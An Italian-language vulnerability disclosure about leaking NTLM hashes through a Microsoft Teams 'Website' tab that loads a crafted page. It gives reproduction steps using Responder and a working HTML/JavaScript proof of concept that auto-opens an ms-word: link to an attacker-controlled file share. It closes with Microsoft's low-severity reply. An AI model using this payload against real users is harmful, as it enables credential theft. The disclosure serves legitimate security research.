Descrizione

Quando un utente naviga verso una scheda "Sito Web" che rimanda a una pagina web appositamente progettata, può verificarsi l'esposizione dell'hash NTLM tramite l'attivazione di uno schema URL di Office, riducendo il processo a un percorso di leak con un solo clic.

Se si tenta di aprire un link nel formato ms-word:ofv|u|file://Share/File.docx da un browser, sono richiesti i seguenti passaggi:

1- L'utente deve confermare la propria intenzione di aprire Word.

2- L'utente deve riconoscere e accettare i rischi indicati dal messaggio di avviso di MS Office.

Tuttavia, nella scheda "Sito Web", l'azione dell'utente si riduce alla sola accettazione del rischio.

Passaggi per la riproduzione

Esegui Responder su una macchina "attaccante"
Servi una pagina HTML contenente il codice seguente:

<html>
<head>
    <title>Auto Open Document</title>
</head>
<body>
    <a href="ms-word:ofv|u|file://ResponderIP_Or_MachineName/File.docx" id="autoOpenLink"></a>
    <script>
        window.onload = function() {
            document.getElementById('autoOpenLink').click();
        };
    </script>
</body>
</html>

3. In Teams, configura una scheda "Sito Web" che punti alla pagina web che hai appena configurato. 4. Accedi alla "Scheda".

Quando visiti la scheda, un link attivato da JavaScript avvia automaticamente l'apertura di Word. Se l'utente accetta il prompt di Word facendo clic su "Sì", il suo hash NTLM viene trasmesso alla macchina dell'"attaccante".

Demo

PoC

Divulgazione

Il mer 27 mar 2024, 20:23 Microsoft Security Response Center <[email protected]mailto:[[email protected]](mailto:[email protected])> ha scritto:
Salve,
Grazie per la tua segnalazione. Abbiamo determinato che la tua segnalazione è valida, ma non soddisfa i nostri criteri per un intervento immediato perché la gravità del problema è bassa. I nostri ingegneri hanno indicato che un utente dovrebbe comunque acconsentire in Word o in altri client Office prima che l'NTLM venga divulgato, il che riduce la gravità. Tuttavia, abbiamo segnato la tua segnalazione per una revisione futura come opportunità per migliorare i nostri prodotti e come problema funzionale su cui migliorare. Non ho una tempistica per questa revisione. Poiché non è richiesta alcuna ulteriore azione in questo momento, sto chiudendo il caso.
Cordiali saluti,
MSRC

Sembra corretto nella versione di Microsoft Teams 24033.813.2773.520.

TeamsNTLMLeak

Più Popolari